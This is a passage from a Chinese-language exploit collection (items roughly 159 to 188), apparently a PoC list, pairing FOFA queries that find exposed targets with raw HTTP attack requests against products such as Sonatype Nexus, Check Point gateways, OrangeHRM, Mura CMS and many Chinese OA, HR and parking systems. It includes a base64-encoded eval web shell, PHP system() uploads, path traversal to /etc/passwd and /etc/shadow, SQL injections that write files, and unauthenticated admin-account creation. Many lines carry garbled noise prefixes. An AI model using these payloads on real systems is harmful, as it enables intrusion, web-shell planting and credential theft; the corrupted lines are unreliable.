9 E, ]6 r) C& p& m- LFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
* t+ r, ]4 y5 |0 u2 T' a, u- ?POST /webservices/WebJobUpload.asmx HTTP/1.1
8 s) L* J& D3 x7 C' o( U; XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
  t. J3 h1 `2 T& v+ KContent-Length: 1080
7 C  U; [8 U8 ~6 \% x. q0 _Accept-Encoding: gzip, deflate
$ O  ]: e: L1 J5 ]4 LConnection: close
  V9 U4 [# l5 }Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
* B- w. G( |- L
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+ d0 M! r& `/ w+ j<soap:Body>
: l# m; k5 s" W! x' y' o# s* R<jobUpload xmlns="http://rainier">
4 W; H5 R5 R8 W) l( e- A<vcode>1</vcode>
. H5 Y5 y4 P! J  L- Y3 c. I<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
% C: w6 a/ t* F7 n% I</jobUpload>
2 _) d5 v; k5 i/ V</soap:Body>
</soap:Envelope>

: G" s3 M2 d4 c
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

6 H4 ?! s. l8 i0 z' I
160. Sonatype Nexus Repository 3目录遍历与文件读取
- Q% P7 @( D$ W( x0 F  ECVE-2024-4956
FOFA：title="Nexus Repository Manager"
& k7 @& ]0 ]/ B- \# \* k3 v  PGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
% k' p3 f# m1 y+ ^+ CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
# b# C0 @# K5 H  @; yConnection: close
  X$ u* J1 i* h4 EAccept: */*
Accept-Language: en
Accept-Encoding: gzip
% @+ A- a1 `! T8 O4 ~/ |
( f  C3 }' h9 E$ B
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
2 Z' s# \) |3 s. XFOFA：body="/KT_Css/qd_defaul.css"
* ^! z+ J2 _1 z- O* [第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
3 z+ G* M) h( [( ~' ~4 e/ J( DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
3 M! X2 l% |9 }! K( e* [1 gConnection: close
- w( s2 [" q0 DContent-Length: 445
Content-Type: text/xml
. ]) A2 N. a# O7 k1 ~( XAccept-Encoding: gzip
: d$ N% O4 t% j- E# U
/ t* [. s* t/ S6 e8 y4 g5 ~<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
' I( m2 l( T( {http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
2 n3 t+ A; ?. N% b$ _( l9 rxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
4 c, p$ z- |# [<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
/ G5 r' D1 @8 d4 J6 Q3 q( @; ^<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
" x# k9 l+ F' t6 D: S<tag>3</tag>
</UploadResume>
: e9 }- i3 a' \$ O1 {! H</soap:Body>
</soap:Envelope>
* G! u- B' ?2 ], k$ G9 P0 w
$ C; ^5 d; i, i. w/ F* j
1 O% v% @: d, [) `, p1 [; K% Shttp://x.x.x.x/dizxdell.aspx

9 z# B! j( f1 m" e162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
% t8 a7 R1 F& }+ A0 O  UConnection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
( f: }. I/ o  v5 b3 {# x+ M; q
& O( Z* T- p; H: }: x; p6 V; ~<% response.write("ujidwqfuuqjalgkvrpqy") %>
# \1 a: v% [  f6 T------WebKitFormBoundaryeegvclmyurlotuey
3 A; u5 i) f# {, U2 C. ]Content-Disposition: form-data; name="action"
! T0 h  Y1 _8 a/ L  e7 |' J
upload
------WebKitFormBoundaryeegvclmyurlotuey
& u4 O- J0 c, O* UContent-Disposition: form-data; name="responderId"
' \+ y' z( `: f  u: q4 n) \* I
ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
' G, v4 X! g8 }. T. KContent-Disposition: form-data; name="remotePath"
) {; J9 a& N: |  n' o. @7 l
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
; }+ p* t$ L( U" e# I
( G% n) t$ X; o8 e8 p
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
# b* k/ k5 T- ~8 ]2 I1 FFOFA: icon_hash="-795291075"
& H# M( @! Q! JPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
* A; R$ k1 i; i2 O' I# x8 O6 j) h" ~Connection: close
9 ~1 i0 Q4 F: h" m* G- b$ wContent-Length: 293
, S8 O# O! B. vAccept: */*
3 v+ z- j( X2 o: P& [, YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 N# p3 _# ~( LContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
% Y; Z# u, P& N( X6 W
------iiqvnofupvhdyrcoqyuujyetjvqgocod
5 ?; B, ~: ?* n7 v& e9 ]$ D# n; ~: NContent-Disposition: form-data; name="name"
4 p, p) o) G2 S& z. r
1.php
4 \% D7 @' c* Y, L( Q, @9 N------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
* A# y8 o" t& ^% R1 wContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
8 o/ K$ U6 |" v7 |------iiqvnofupvhdyrcoqyuujyetjvqgocod--


- y# E" A# U/ ]' V164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
) E$ `$ F" W- IFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
/ p* T5 Q3 q% @1 aHost: x.x.x.x
" I( d6 ]( f' {* L- bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
! [4 n" d+ T! `1 w0 {+ p8 LContent-Length: 288
: _8 Z) u: t: BAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
2 P& `, V7 n" R3 M: lConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
8 Q2 M$ \+ F+ M1 [( iX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
& k$ [; n" Z) a& I+ P
9 h( R. L( T2 W: u$ Q. [9 j5 @! p' v1 i------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--

8 Y7 A+ l: l4 @9 a9 x. W/ j
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
8 P, X  a9 u7 k7 U% D+ P% e
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
. l. }2 x( v4 v( L
7 F' J3 [& X- u9 y
; U+ j7 t; k5 a( P5 ~/ J# i166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
. M8 `+ d0 t& N5 vUpgrade-Insecure-Requests: 1
( P6 O  |1 X1 ?0 a0 H2 A6 J) dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
! M% N7 _+ m+ H( TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
" `6 q  H8 U# A; ^2 o9 cCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
& n$ q8 {. ~8 D# b8 fContent-Type: application/x-www-form-urlencoded
* ^# q/ i3 @; {! q; @& X. c$ G$ v  bContent-Length: 89

/ w' T. k  J6 y/ V3 X9 @Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

, G  P3 V$ `. {+ z+ T
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
6 Z& B: _2 z' ?& N$ v% ~6 pGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
* ~1 L, E: H# sHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
: D4 [. M, v6 D* z  _& @) MAccept: */*
( T( c1 V6 s9 i. K1 Q) RConnection: keep-alive


3 o) o/ @; t9 k; X, S; B168. 宏景EHR OutputCode 任意文件读取
$ h: ^: R8 J. g5 Y  P/ yFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
2 `) w. Y/ N/ U: Y, bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
$ B5 `; M# ]; q) c' Q  s% `Content-Type: application/x-www-form-urlencoded
Connection: close
/ I8 w& U/ S) Q5 I' {

4 x" t5 ^, {+ S- y7 ~- h) p; {
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
; n$ }: a1 v3 ?- s2 f9 ~1 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; {8 p( N. l, q9 cAccept: */*
Accept-Encoding: gzip, deflate
0 c8 |8 o  l" v/ n& I7 t- WConnection: close

+ |3 j! E- b0 ]2 ^! u  K6 e# V! N

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
1 ]& O/ B9 }4 E  {FOFA：body="/general/sys/hjaxmanage.js"
) ~  c2 \7 v4 g. H2 ]9 mPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ t- V; ^8 e! Q$ r' }7 L9 KContent-Type: application/x-www-form-urlencoded
( p( x* P$ m0 F0 Z# M! @" g
+ A/ p) I+ [; R; e2 Cfilename=../webapps/ROOT/WEB-INF/web.xml


171. 通天星CMSV6车载定位监控平台 SQL注入
; F- b' {: w) z# t# R0 kFOFA：body="/808gps/"
' X6 ~. G# Q" `, o9 vGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
' o6 H) T6 L( U3 S% I. [- O8 wAccept: */*
- R" Y2 f3 E. y/ P& V3 RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

- i" |: M# o" ]2 e) f

. F( i  e0 E2 l- b172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
6 D5 n# j4 e4 _6 z1 M/ M# K! tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 y& M9 }0 j8 k5 eAccept-Encoding: gzip, deflate
Accept: */*
% b9 g) H* |" z6 V/ s- @Connection: keep-alive

2 T& n% p, g0 @  ~

173. Check Point 安全网关任意文件读取
* f- G7 P( X5 E6 R- ~* rCVE-2024-24919
, _" P* |; ^% V# Q( L) z0 aFOFA：app="Check_Point-SSL-Network-Extender"
$ h  D" |- ^  ]8 j$ A4 a2 qPOST /clients/MyCRL HTTP/1.1
Host: your-ip
/ t+ U. J9 W6 }' `! fContent-Type: application/x-www-form-urlencoded

# r. a$ d" h- ^6 n9 h& m$ waCSHELL/../../../../../../../etc/shadow

4 p8 f: v) O8 L: w' X# T/ T- S) U
% l  D3 Q7 i& w+ k" T% m
9 }3 F5 A6 ^3 S% W: v174. 金和OA C6 FileDownLoad.aspx 任意文件读取
4 l( m8 @3 t) z' NFOFA：app="金和网络-金和OA"
6 e7 F$ ^4 N( |: Z. B+ qGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
# j7 }8 _/ C! S, W) o+ K  u5 dHost: your-ip
  L# W2 o- v2 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
$ [+ S. V4 x4 S6 W# q9 m7 s8 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
. A7 E6 O( ^3 X/ x! CAccept-Language: zh-CN,zh;q=0.9
Connection: close
/ \% q) S' S/ n* h/ Q
5 P9 w7 [1 T9 ^* l  D6 T
& }# j8 ?/ z1 t+ b, `) ~3 V
( T( O; w8 D1 Z, x+ d; R6 W5 z$ g! d175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
: d0 w. S& q2 E4 M3 l# `; rFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  K' E/ E* U% s, x' T6 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ f3 d/ r6 k2 f& I1 y7 t' ]- V- o4 T& }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
' u1 U# d  o) Z7 [3 h& u6 wUpgrade-Insecure-Requests: 1
# Y& z: y* |2 U8 r! T! ~; @9 s

176. 电信网关配置管理系统 rewrite.php 文件上传
" |+ S, n0 g5 q+ |. A9 nFOFA：body="img/login_bg3.png" && body="系统登录"
5 {" |* t: o8 f2 E8 }& dPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
. t9 j) g# c, S* JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
  ?6 U! O5 Q- O/ u2 z2 ?
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
; l- H, E' q! u/ j9 x- A' l7 |Content-Type: image/png
2 Y8 h+ X0 I) y: B
<?php system("cat /etc/passwd");unlink(__FILE__);?>
* U( N: S2 J8 C------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"

& h0 A$ Q8 `) Z1 y
7 H6 s. S9 ^1 ?. q# k, D' @- o  Z------WebKitFormBoundaryOKldnDPT--

0 S# h0 B' i: @$ |8 }  t2 d
0 Q+ Y( O  h6 f* E, T
  E8 \' T( J& o5 K6 \$ Z177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
9 Q/ [& E5 x; O: b0 L9 ~* Z/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
- a3 C* K3 k$ W2 s2 D% \3 _+ D+ Q/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
( \4 n( T( m. u6 J5 R5 J/userLogin.asp/../actionpolicy_status/../ER5200.cfg
5 i" ~0 c4 A; F8 y# E: ~+ N/userLogin.asp/../actionpolicy_status/../ER5100.cfg
, K" Y8 Q8 d1 o, t: h+ a5 A/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
, f2 }3 v) v2 W' C+ i/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
9 W+ Z# W, K* ^: f  N/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

" o6 y6 B5 s/ X, R
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
/ F. t/ p+ t9 C$ o8 t! y+ R6 ?7 rConnection: close
7 v9 c8 M# v. e: ~! l9 ~# MContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--
: O( d) B% _- @, o" R7 r1 N

& R. D5 ^' P: p* ?GET /imc/primepush/%2e%2e/flex/12234.txt
, z6 M7 A. X) r& w2 ^
- A  R* ~4 i) M/ Z2 }
179. 建文工程管理系统存在任意文件读取
3 C4 v4 @! M5 m8 ]POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
; @3 L8 r8 x6 i0 K/ t* Z- a0 M+ vContent-Type: application/x-www-form-urlencoded
5 T( Q0 l/ j* {* o; |, Y- DUser-Agent: Mozilla/5.0
: p8 u- B6 [6 `# D- J$ `( g: n: q
& P4 i  C0 I! W- G6 T# L. e, g. {path=../log4net.config&Name=
7 v1 y8 D* O- @  N

" u: F# ^; s) P9 B  G! E180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
& Q' r8 _8 C, F! R/ S# CHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. r" t& x' v. ~) h. T6 _Accept-Language: zh-CN,zh;q=0.9
) s- R* r) Q0 }0 \' [4 I, }, fConnection: close

: K( `  \% l& x1 p
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
8 T0 O. g% T% q( M/ VFOFA："PDCA/js/_publicCom.js"
9 J! A7 t! F4 u; B, O; l$ BPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
: D/ G9 |" \9 ?( V6 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. d5 V( g; l! s$ ~8 K9 a. I2 W% OAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
2 _/ K4 q; p  {( b2 P& OConnection: close
Content-Type: application/x-www-form-urlencoded

" j" R" K+ {$ G8 f5 J
- v9 |- S% b. j& qaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
/ d5 ^3 z/ T! p$ l- o8 a8 jPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
9 I! k7 }, @4 `- p8 `$ s2 c9 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 d5 }& l* f) F, T. a  w1 @9 B: ^Accept-Encoding: gzip, deflate, br
7 r( ^& b4 X  Q! i8 f, b$ r8 kAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1

3 h" g3 [1 c- v$ Q
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
$ G1 G6 A! Z% {) x' L2 ]Accept-Encoding: gzip, deflate
Connection: close

5 o- |! ?1 J/ W7 T
) a; ]5 |* B9 H- f$ m- Q/ j184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
. X& c! n& U; X% D9 a  FFOFA：server="SunFull-Webs"
/ }1 R2 \5 Y6 n6 @0 iPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& d- w1 p4 u7 }$ X2 \  h( VAccept: application/xml, text/xml, */*; q=0.01
: @$ c8 y& j4 d* eContent-Type: text/xml; charset=utf-8
9 [/ A4 P$ P( I$ v5 O7 g6 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

+ ^( P; ]! g8 R; s& M& V  }
: t+ L+ {2 c& q' V% `insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

7 z- T7 o0 f. |  C1 ^# w; F9 h
185. 瑞友天翼应用虚拟化系统SQL注入
4 k* t) @+ y% A6 N; Xversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
; q& j* K5 P  o+ V4 B$ M2 T+ @GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
! P0 f$ ^- p; dHost: host
$ r. w1 N0 h# b9 I7 F/ G: _
% G. |/ _5 k: X+ m7 l7 [# V7 g
  ?2 t; V, ^9 i/ I* R4 Y9 j" z$ Q9 N" i186. F-logic DataCube3 SQL注入
- [3 j: _* f& G; y, L) lCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
+ J( q! [% v% w4 z' I4 C1 N" iFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
, H( f* O6 |& S1 ]: ^" iHost: your-ip
2 i0 p! k4 e5 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
! X+ C$ r. o5 W$ Y0 d  bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 B. z1 o8 \. I* O1 b% J. FAccept-Encoding: gzip, deflate
# h& p/ M/ t5 _/ u1 nConnection: close
Content-Type: application/x-www-form-urlencoded
3 g: h6 C7 }/ `5 w+ a; Q! i
4 V* n) ?5 i+ Q% v) Creq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
1 K2 q$ {* A" y0 D2 _- S

. v" M+ R) N2 \; B' n187. Mura CMS processAsyncObject SQL注入
7 T1 M6 j0 p7 m: s9 y  yCVE-2024-32640
FOFA："Mura CMS"
) [5 T( c7 g" k3 qPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded


7 S8 m# d3 ~4 U3 J) G" [0 v" G& C2 N! hobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
8 h# D- H. X1 z' p7 W% M1 C
% E/ l/ p" U$ f* S
8 f) j* J; g, e! M) [: z0 D- e188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
